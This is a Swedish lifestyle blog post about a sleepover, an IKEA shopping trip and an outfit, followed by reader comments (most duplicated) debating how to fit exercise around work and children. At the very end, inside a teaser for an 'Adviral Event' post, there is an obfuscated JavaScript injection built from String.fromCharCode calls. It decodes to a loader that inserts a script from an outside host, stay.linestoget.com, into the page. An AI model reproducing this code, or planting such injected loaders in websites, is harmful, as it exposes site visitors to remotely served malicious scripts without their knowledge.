Sleepover och ikea

8C15F9D7-7923-46CA-B735-A750C20AD970

Heeej! Solen skiner över Stockholm idag också!

Klockan 07:00 vaknade jag hemma hos Tilda imorse, då var det 10 grader ute, redan då!! 😎🙌🏻

Igår var vi på Ikea. Handlade massa bra-att-ha-grejer inför öppningen av Bobbys Salong Bobbys Hårstudio 🌟 -Så spännande! Nu är det bara ca 1.5 vecka kvar tills salongen öppnar… Mycket ska falla på sin plats innan… men det kommer bli SÅ bra! Den ligger på Östermalmstorg.

Gårdagens jag :

Fjolårets kavaj från Zara, linne Vila, väska Chanel, solglajjor Gucci, skor River Iland☺️

D06FA688-598C-42A7-90FA-72A49052D4B2

Jag stannade kvar i stan och sov över hos Tilda 💕 Vi hade en mysig tjejkväll….

6B3AAA22-F5AD-4887-AD23-FE887CD3357D 9CEDA44B-B673-4B68-8B18-F91F0EF9A251 DFFEBE2B-BEAE-41EB-B315-BC33239F157C

Nu ska jag till gymmet… Tilda till jobbet och sen är dagen igång 😅 Önskar dig en grym dag!

Kram kram

/My Martens

 

 

67 Komentarer

  1. Du skrev tidigare om att kamelerna behandlades väl i Egypten.En liten uppdatering angående kamelridning i Egypten.Expressen hade ett reportage igår om hur ILLA kamelerna behandlades just där. Man avrådde folk att åka på ridturer !! Så där hade du fel, som många av oss förstod.
    Ledsen , men så är det.

    • Hjärtat? jag köper clean, Celcius, och nocco dagligen.. ingen smygreklam… jag ör i dagsläget inte sponsrad utan spenderar en slant dagligen… Men det borde jag ändra på ?

  2. Du skrev tidigare om att kamelerna behandlades väl i Egypten.En liten uppdatering angående kamelridning i Egypten.Expressen hade ett reportage igår om hur ILLA kamelerna behandlades just där. Man avrådde folk att åka på ridturer !! Så där hade du fel, som många av oss förstod.
    Ledsen , men så är det.

  3. Härligt med all träning varje dag hur gör du för att hinna med det och jobb bra planering förstås men har du något förslag.

    • Planering, planering, och ännu mera planering. Det enda som vi alla har lika mycket av, är just tiden. Det handlar om att prioritera och planera ☺️

      • Kan du ge ett eller några exempel på hur man kan planera sin dag med jobb och träning (ca 5 ggr / vecka helst) det är det jag inte får till på egen hand nämligen men du verkar hinna med allt och så vännerna på det som också är viktigt.

        • Planera in det. Återigen, allting ha delar ju om planering och prioritering. Se över din dag. Din vecka, din vardag. Vissa dagar kliver jag upp 04:30 för att hinnas min reling. Då
          Måste jag planera att lägga mig tidigare… (sömnen är super viktig). Går inte ge ett konkret exempel. Mina dagar ser aldrig lika ut…. Jag har alltid en extra gymväska i bilen tex. Men schemalägger in min egen träning ?

    • Hjärtat😌 jag köper clean, Celcius, och nocco dagligen.. ingen smygreklam… jag ör i dagsläget inte sponsrad utan spenderar en slant dagligen… Men det borde jag ändra på 😉

  4. Jag skulle oxå vilja träna så mycket men tiden räcker verkligen inte. Jobb fixa mat träffa barnen möte kvällstid umgås m sambon handla tvätta ja ni vet. Snälla My berätta hur du får ihop dina dagar hur mycke tränar du varje dag. Om ja tränar för mycke skulle allt annat bli lidande, men kunde vara intressant att höra hur du får ihop de My. Ha en bra sa.

    • Planering, planering, och ännu mera planering. Det enda som vi alla har lika mycket av, är just tiden. Det handlar om att prioritera och planera ☺️ Kan absolut skriva ett längre inlägg om det vid tillfälle… Med vänlig hälsning, My

      • Men det är skillnad när man har barn! My har ju bara barn ibland. Kan aldrig jämföra med någon som är mamma på heltid. Njut av livet o va rädd om er

        • Jooooo! Det där är en vad om vanligaste och (förlåt ☺️??) sämsta ursäkterna som finns…. alla barn förtjänar friska, starka, lyckliga föräldrar. Alla föräldrars förtjänar det! För att orka/kunna vara en frisk sund förälder så behöver man sin egentid och denna kan ju knappast bli bättre än jag träning då man investerar i sin egen hälsa….
          Alla skrönor om att det skulle vara något fult och egoistiskt är ju bara strunt.
          Det påverkar våran hälsa. Hälsan är A&O för barn och familjen skull.
          Förlag om mannar barnens på heltid. Antagligen har man då också en MAN/Partner med i bilden om man slipper lämna ifrån sig Barnen och leva med konstant separationsångest.
          förutom det. Barnvakt. (Syskon, morföräldrar, kompis, nanny) eller varför inte te med barnen??? Sats och mpnga andra erbjuder barnpassning upp till 12 år. Över 12 år så får alla varande på gymmen med målsmans sällskap. (Super bra gemensam aktivitet)
          Träna på lunchen? Se över ditt schema och hitta tider där
          Du planerar in det… eller varför inte träna hemma ??
          Att ha barn räcker inte som ursäkt att inte träna….. sorry, men så är det bara ☺️? kram

          • Håller med. Jag är själv ensamstående mamma men har mina barn varannan vecka. Ursäkterna kan bli många men jag tränar 5 dagar i veckan o går runt milen varje morgon innan alla vaknat.
            Det jag menar är att du kan utan planering kan träna när du vill då du inte har några barn. Det ( kommer inte ihåg vad hon hette ) skrev o jag svarade att hon kan aldrig jämföra med din tröning. Vi som har vanliga jobb o familj får träna när tid finns och hitta den tiden. Men för mig är prio 1 att vara med mina barn, göra läxor o laga mat tillsammans. Egoismen får man lägga undan om man vill vara en närvarande förälder. Snart är dom stora o utflugna . Så … träna när tid finns och njut av livet !

          • Håller helt med! Lilleman är och kommer alltid vara prio 1. Men det ena utesluter inte det andra… jag prioriterar bort mpnga andra saker för just träningen ??❤️??

  5. Härligt med all träning varje dag hur gör du för att hinna med det och jobb bra planering förstås men har du något förslag.

    • Planering, planering, och ännu mera planering. Det enda som vi alla har lika mycket av, är just tiden. Det handlar om att prioritera och planera ☺️

      • Kan du ge ett eller några exempel på hur man kan planera sin dag med jobb och träning (ca 5 ggr / vecka helst) det är det jag inte får till på egen hand nämligen men du verkar hinna med allt och så vännerna på det som också är viktigt.

        • Planera in det. Återigen, allting ha delar ju om planering och prioritering. Se över din dag. Din vecka, din vardag. Vissa dagar kliver jag upp 04:30 för att hinnas min reling. Då
          Måste jag planera att lägga mig tidigare… (sömnen är super viktig). Går inte ge ett konkret exempel. Mina dagar ser aldrig lika ut…. Jag har alltid en extra gymväska i bilen tex. Men schemalägger in min egen träning 🙂

  6. Jag skulle oxå vilja träna så mycket men tiden räcker verkligen inte. Jobb fixa mat träffa barnen möte kvällstid umgås m sambon handla tvätta ja ni vet. Snälla My berätta hur du får ihop dina dagar hur mycke tränar du varje dag. Om ja tränar för mycke skulle allt annat bli lidande, men kunde vara intressant att höra hur du får ihop de My. Ha en bra sa.

    • Planering, planering, och ännu mera planering. Det enda som vi alla har lika mycket av, är just tiden. Det handlar om att prioritera och planera ☺️ Kan absolut skriva ett längre inlägg om det vid tillfälle… Med vänlig hälsning, My

      • Men det är skillnad när man har barn! My har ju bara barn ibland. Kan aldrig jämföra med någon som är mamma på heltid. Njut av livet o va rädd om er

        • Jooooo! Det där är en vad om vanligaste och (förlåt ☺️🙏🏻) sämsta ursäkterna som finns…. alla barn förtjänar friska, starka, lyckliga föräldrar. Alla föräldrars förtjänar det! För att orka/kunna vara en frisk sund förälder så behöver man sin egentid och denna kan ju knappast bli bättre än jag träning då man investerar i sin egen hälsa….

          Alla skrönor om att det skulle vara något fult och egoistiskt är ju bara strunt.

          Det påverkar våran hälsa. Hälsan är A&O för barn och familjen skull.

          Förlag om mannar barnens på heltid. Antagligen har man då också en MAN/Partner med i bilden om man slipper lämna ifrån sig Barnen och leva med konstant separationsångest.

          förutom det. Barnvakt. (Syskon, morföräldrar, kompis, nanny) eller varför inte te med barnen??? Sats och mpnga andra erbjuder barnpassning upp till 12 år. Över 12 år så får alla varande på gymmen med målsmans sällskap. (Super bra gemensam aktivitet)

          Träna på lunchen? Se över ditt schema och hitta tider där
          Du planerar in det… eller varför inte träna hemma ??

          Att ha barn räcker inte som ursäkt att inte träna….. sorry, men så är det bara ☺️💕 kram

          • Håller med. Jag är själv ensamstående mamma men har mina barn varannan vecka. Ursäkterna kan bli många men jag tränar 5 dagar i veckan o går runt milen varje morgon innan alla vaknat.
            Det jag menar är att du kan utan planering kan träna när du vill då du inte har några barn. Det ( kommer inte ihåg vad hon hette ) skrev o jag svarade att hon kan aldrig jämföra med din tröning. Vi som har vanliga jobb o familj får träna när tid finns och hitta den tiden. Men för mig är prio 1 att vara med mina barn, göra läxor o laga mat tillsammans. Egoismen får man lägga undan om man vill vara en närvarande förälder. Snart är dom stora o utflugna . Så … träna när tid finns och njut av livet !

          • Håller helt med! Lilleman är och kommer alltid vara prio 1. Men det ena utesluter inte det andra… jag prioriterar bort mpnga andra saker för just träningen 🙏🏻❤️🙌🏻

  7. Jag jobbar själv som frilansande skribent/översättare och eftersom jag till viss del kan styra min tid så hinner jag nästan alltid lägga in någon form av träning (30 minuter bara iofs men ändå). Jag tror att eftersom My väl jobbar som influencer så kan hon styra sin tid mer än andra?
    När det gäller VD jobbet så får vi säkert info om det när det är läge men jag tror personligen inte att My fortsätter med det jobbet – utan att känna henne men följer bloggen varje dag så verkar hon inte vara någon ”kontorsperson” alls utan mera kreativ, kör olika projekt parallelt osv hela tiden så det var nog ingen bra fit alls tror jag. Har själv en kompis som är sådan och hon skulle aldrig få eller ens vilja ha ett sånt jobb tror jag så det var nog inte så lyckat kanske.
    Jag tror att om man har en blogg och jobbar med andra uppdrag kan man få en bra inkomst men ändå ha flexibilitet och kunna träna mm.

  8. Jag jobbar själv som frilansande skribent/översättare och eftersom jag till viss del kan styra min tid så hinner jag nästan alltid lägga in någon form av träning (30 minuter bara iofs men ändå). Jag tror att eftersom My väl jobbar som influencer så kan hon styra sin tid mer än andra?

    När det gäller VD jobbet så får vi säkert info om det när det är läge men jag tror personligen inte att My fortsätter med det jobbet – utan att känna henne men följer bloggen varje dag så verkar hon inte vara någon ”kontorsperson” alls utan mera kreativ, kör olika projekt parallelt osv hela tiden så det var nog ingen bra fit alls tror jag. Har själv en kompis som är sådan och hon skulle aldrig få eller ens vilja ha ett sånt jobb tror jag så det var nog inte så lyckat kanske.

    Jag tror att om man har en blogg och jobbar med andra uppdrag kan man få en bra inkomst men ändå ha flexibilitet och kunna träna mm.

  9. Alla har 30-45 min till träning om dagen!
    Man behöver inte ta sig till ett gym. Kolla träningsvideos på youtube, vips har du en pt!
    Spring runt kvarteret några varv, gör ett hemma gym, gör plankan framfört tv:n, armhävningar medan pastan kokar, gå till affären och bär hem två tunga kassar, lek med barnen i trädgården, släpp telefonen, stäng tv:n, köp Paolo Robertos bok 15 min om dagen, Simon skölds bok träning för latmaskar, dammsug med puls, stöda så svetten lackar, släpa ut barnen på cyklar och jogga bredvid, hoppa på barnens studsmatta……….

  10. Alla har 30-45 min till träning om dagen!

    Man behöver inte ta sig till ett gym. Kolla träningsvideos på youtube, vips har du en pt!

    Spring runt kvarteret några varv, gör ett hemma gym, gör plankan framfört tv:n, armhävningar medan pastan kokar, gå till affären och bär hem två tunga kassar, lek med barnen i trädgården, släpp telefonen, stäng tv:n, köp Paolo Robertos bok 15 min om dagen, Simon skölds bok träning för latmaskar, dammsug med puls, stöda så svetten lackar, släpa ut barnen på cyklar och jogga bredvid, hoppa på barnens studsmatta……….

  11. Nog finns tiden. För alla! Man kanske inte har en timme men man kanske har 15-20 minuter på lunchen och en 15 minuter nån gång på kvällen. Har man inte ens det…har då bör man allvarligt se över sin tid och vad man gör med den.

  12. Nog finns tiden. För alla! Man kanske inte har en timme men man kanske har 15-20 minuter på lunchen och en 15 minuter nån gång på kvällen. Har man inte ens det…har då bör man allvarligt se över sin tid och vad man gör med den.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/